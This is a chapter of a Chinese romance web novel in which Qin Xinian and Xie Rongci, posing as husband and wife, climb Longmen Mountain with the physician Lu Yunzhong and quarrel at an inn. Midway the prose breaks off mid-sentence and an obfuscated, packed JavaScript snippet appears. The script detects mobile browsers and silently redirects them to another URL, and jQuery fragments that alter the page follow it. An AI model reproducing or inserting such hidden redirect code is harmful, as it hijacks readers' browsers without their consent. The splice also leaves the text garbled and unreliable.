第二天清晨,两人稍作整理,便动身前往地图标记的第一处—龙门山。
灵医谷向来易回难寻,谷主设下重重险阻,本就是为了筛选心诚求治之人。
来时千难万险,归去时谷主自会派人相送,可若无这张地图,寻常人便是耗上两年,也未必能寻到入口。这便是地图的珍贵之处。
二人乘上马车,一路往深山行去。
远远望去,龙门山高耸入云,崖壁陡峭险峻,一看便知前路难行。
到了山脚,两人刚准备登山,一旁停着的软轿忽然落下。
轿中缓步走出一名男子,气质温雅如玉,面容清俊白皙,一身素衣衬得他如清风朗月,与周遭山野格格不入。
看清那人面容的一瞬,秦惜念猛地睁大了眼。
这不正是他们在玉轩楼费尽心思打探的陆郎中!
竟会在此处偶遇,当真是踏破铁鞋无觅处。
“陆郎中!”她下意识上前招呼。
陆云中微微一怔,脸上依旧挂着温和笑意:“姑娘认识我?”
秦惜念心中暗道:何止是认识,连你的模样我都提前见过了。
面上却只随口圆道:“曾去郎中府上抓过药,况且在京中,少有不知陆郎中仁心的。”
“二位这是要往何处去?”
秦惜念念头一转,伸手虚虚一扶谢荣辞,笑道:“这位是我相公,我们此番是专程往灵医谷求医的。”
“不知是何病症?或许在下可先略尽薄力。”陆云中语气诚恳。
秦惜念连忙拦住,压低声音,一本正经地胡说八道:“陆郎中有所不知,这病您看不了。他有些隐疾,又信不过旁人,只得上灵医谷一趟。”
“我!不!行?”
身后谢荣辞的声音一字一顿,冷得像冰,眼神更是寒冽逼人,似要将她当场剜去一块肉。
陆云中何等通透,当即含笑颔首:“既如此,那在下便不打扰二位了。”
说罢,便提步上山。
秦惜念连忙拉了拉谢荣辞,低声道:“跟着他,有熟路的人带路,省事得多。”
她快步追上陆云中,语气乖巧:“陆郎中,不知您是否方便,让我二人与您同行?”
陆云中温和一笑:“无妨,一同上路便是。”
身后,谢荣辞脸色已是铁青一片。
秦惜念回头,对着他挤眉弄眼,小声解释:“我不这么说,他怎会轻易带我们上山?我们本就是一伙的。”
“既然有他在,那你也没什么用了。”谢荣辞语气冰冷。
秦惜念立刻服软,连连求饶:“别啊,我还能帮你盯着他,看他到底是真心相助,还是别有图谋。万一他察觉你与他目的相同,心生防备,我们岂不是麻烦?”
谢荣辞冷冷睨她一眼:“那便再留你几日。若再敢胡言乱语,小心我拔了你的舌头。”
秦惜念慌忙捂住嘴,一溜烟跑到前面,紧跟着陆云中。
山路崎岖难行,乱石丛生。
有陆云中在前面带路,沿途避开不少险地,几人走得顺畅许多。
遇到一处陡峭斜坡,陆云中自然地伸出手,声音温软:“此处难行,我拉你一把。”
秦惜念也不扭捏,刚要将手递过去,手腕忽然被人从后面一把攥住。
谢荣辞将她拉回自己身侧,语气冷硬:“不劳费心。”
陆云中眸中笑意不变,缓缓收回手:“是在下唐突了。”
秦惜念被两人夹在中间,左右为难,干脆一甩手:“我自己走!”
一路攀爬,她本就没吃什么东西,此刻只觉得腹中空空,头晕眼花,脚步越来越虚浮。
陆云中见她脸色发白,连忙扶她到树下歇息,又转身去林中摘了几颗野果,用衣袖擦净,递到她手中:“先垫一垫。”
“多谢陆郎中。”秦惜念笑得眉眼弯弯,甜软动人。
“下次上山,记得备好干粮,不是每次都能这般凑巧。”陆郎中提醒着。
“知道啦。这些果子,你也吃点?”
“我上山前用过膳,你吃便是。”
秦惜念啃了两颗,力气稍复,又拿起剩下的几颗,递到谢荣辞面前:“你也吃点,不然撑不到下山。”
谢荣辞冷冷瞥她一眼,语气不善:“我不像你,对谁都毫无防备,傻乎乎地什么人都信。”
“陆郎中是一片好心,怎会是陌生人?”秦惜念不服气。
她将果子往他手中塞去,谢荣辞手腕一偏,果子尽数滚落地上,明眼人都看得出,他是故意的。
秦惜念心头一恼,懒得再与他争执,转身便走:“陆郎中,我们走,不管他。”
陆云中依旧是那副温和模样,默默跟了上去。
三人赶在日落之前下了山,循着地图指引,来到一间客栈。
“客官,要几间房?”伙计上前招呼。
“两间。”谢荣辞抢先开口,语气不容质疑。
“好嘞,三位先坐,小店备些小菜热酒,我这就让人收拾房间。”
三人同桌而坐,为了维持“夫妻”人设,秦惜念即便心中有气,还是一次次给谢荣辞夹菜。
谢荣辞默默吃着,目光落在她嘴角沾着的一粒米饭,忽然伸手,指腹轻轻擦过她的唇角。
“没人跟你抢,吃这么急做什么。”语气依旧别扭。
秦惜念心头一酸,委屈涌上眼眶:“你还好意思说。从上山到现在,你一口水不喝、一口饭不吃,若不是陆郎中摘了野果,我能不能活着下山都难说。”
这番话,是实打实的真心话。
谢荣辞没有反驳,只是垂眸沉默,不知在想些什么。片刻后,他独自起身,上楼去了。
饭桌上,只剩下秦惜念与陆云中两人。
陆云中放下酒杯,轻声开口,语气平静却笃定:“他不是你相公,对吗?”
秦惜念一慌,连忙打圆场:“我们平日便是这般相处,让郎中见笑了。”
“并非为此。”陆云中目光温和,却又带着几分看透世事的清明,“你夹给他的菜,皆是他不爱吃的。而他看你的眼神,也绝非对待心爱之人。”
“郎中此话何意?”
“我行医多年,见过太多痴男怨女。多少女子痴心错付,重病缠身也不肯离去,最终却被弃如敝履。”他顿了顿,语气带着一丝不忍,“你很好,我不愿见你成为那样的人。”
秦惜念心头一跳,一个大胆的念头冒了出来,这陆郎中,莫非是对她有好感?
结合他一路的照顾与此刻的话语,实在很难不让人多想。
见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321202|199070||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她神色纠结,陆云中也不再多言,只淡淡道:“秦小姐,早些歇息吧。”
待他离开,秦惜念立刻转身去找掌柜:“掌柜,还有空房吗?”
掌柜一副我都懂的神情,挤眉弄眼:“小两口吵架了吧?没事,夫妻没有隔夜仇,你家那位看着冷淡,指不定心里正后悔呢。”
秦惜念哭笑不得。
她哪里是生气,她只是昨夜见谢荣辞睡在地上,一时心软,可方才见他那副模样,又觉得自己纯属多余。
两人本就只是临时结伴,毫无干系,是她自己太过心软罢了。
她点头应和两声,掌柜便给她安排了谢荣辞隔壁的房间。
这一幕,恰好被上楼的谢荣辞看在眼里。
他一言不发地回房,将原本铺在地上的被褥一把扫到床上,独自坐在床边,胸口闷着一团无名火,无处可发。
秦惜念端着自己的东西过来,本想告诉他,今晚可以在床上睡。
可一进门,见他非但没有睡在地上,反而一脸阴沉,她顿时气不打一处来,转身就进了隔壁房间。
是她把他想得太好了。
本就不是什么良善之人,两人也毫无关系,她就是心太软,才会心疼这么一个冷冰冰的人。
今日一路奔波,她累极,躺下没多久,便沉沉睡去。
可隔壁的谢荣辞,却是半点睡意也无。
他明明可以随手除去这个处处碍事的女子,却一次次为她破例,一次次退让底线。
心中憋闷至极,他起身下楼。
掌柜一见他,立刻上前劝道:“公子,你家娘子容貌出众,性子虽娇纵了些,可咱们做男人的,多包容些。明日上街买些她喜欢的小玩意儿,哄一哄就好了。”
“生气的是她,又不是我。”谢荣辞皱眉。
掌柜哈哈大笑起来,“你还年轻。想当年我也是这般脾气,如今还不是被我家娘子收拾得服服帖帖?”
谢荣辞懒得再听,转身走出客栈。
门外,一道素色身影立在暮色中,竟是陆云中,像是已等候他许久。
“你身上服饰,带有苗疆纹路,气度举止亦非寻常百姓。”陆云中目光平静,字字清晰,“你是皇室之人吧。”
谢荣辞周身瞬间泛起冷冽杀意:“你想如何?”
“别无他意。”陆云中淡淡一笑,“我与你们同行,只是想看看,你究竟是何等样人。”
“我只是普通人。”
“你若不愿承认,那在下也只能自行判断。”
谢荣辞冷笑一声,目光锐利如刀:“你与我一同前往灵医谷,难道就没有私心?”
“在下不懂。”
“你喜欢她,是也不是?”谢荣辞直接挑明。
陆云中沉默片刻,坦然承认:“若她真是你的妻子,在下自然不会有半分觊觎。可若她不是。”
后半句没有说完,可其中意味,两人都心知肚明。
谢荣辞心口猛地一紧。
他本不该在意。
这女子被谁喜欢,与谁亲近,都与他无关,既不是他的妻,也算不上他的人。
可那一刻,心脏却像是被一只无形的手狠狠攥住,闷痛得喘不过气。
或许,从他同意与她同行的那一刻起,他就已经输了。